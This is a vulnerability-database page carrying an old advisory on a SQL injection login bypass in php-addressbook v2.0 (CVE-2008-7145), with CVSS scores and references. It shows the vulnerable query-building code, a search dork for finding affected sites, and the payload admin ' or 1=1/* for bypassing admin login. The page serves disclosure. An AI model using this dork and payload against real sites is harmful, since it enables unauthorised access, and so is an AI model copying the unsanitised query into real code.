php-addressbook v2.0 SQL Injection Vulnerbility

2009-09-02 / 2009-09-03

Credit: hadihadi

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-7145

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

###########
#                                                                      #
#     php-addressbook v2.0 SQL Injection Vulnerbility                  #
#                [admin Authentication bypass]                         #
###########

Virangar Security Team

www.virangar.org
www.virangar.net

--------

Discoverd By : hadihadi

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004

& my lovely friend arash(imm02tal) from emperor team :)

-----------------------------------

dork: &#169; php-addressbook v2.0

-----------------------------------

vuln code in index.php:

line 26:$username = $_POST['username'];

ine 27:$password = $_POST['password'];

and line 28:

$sql = "SELECT * FROM $usertable WHERE username='$username' AND password=PASSWORD('$password')";

-----------------------

vuln:

login:admin ' or 1=1/*

password:[blank]

-------------------------------------

tnx: all hackerz

References:

http://www.securityfocus.com/bid/28456

http://www.securityfocus.com/archive/1/archive/1/490097/100/0/threaded

http://osvdb.org/51050

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

php-addressbook v2.0 SQL Injection Vulnerbility

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.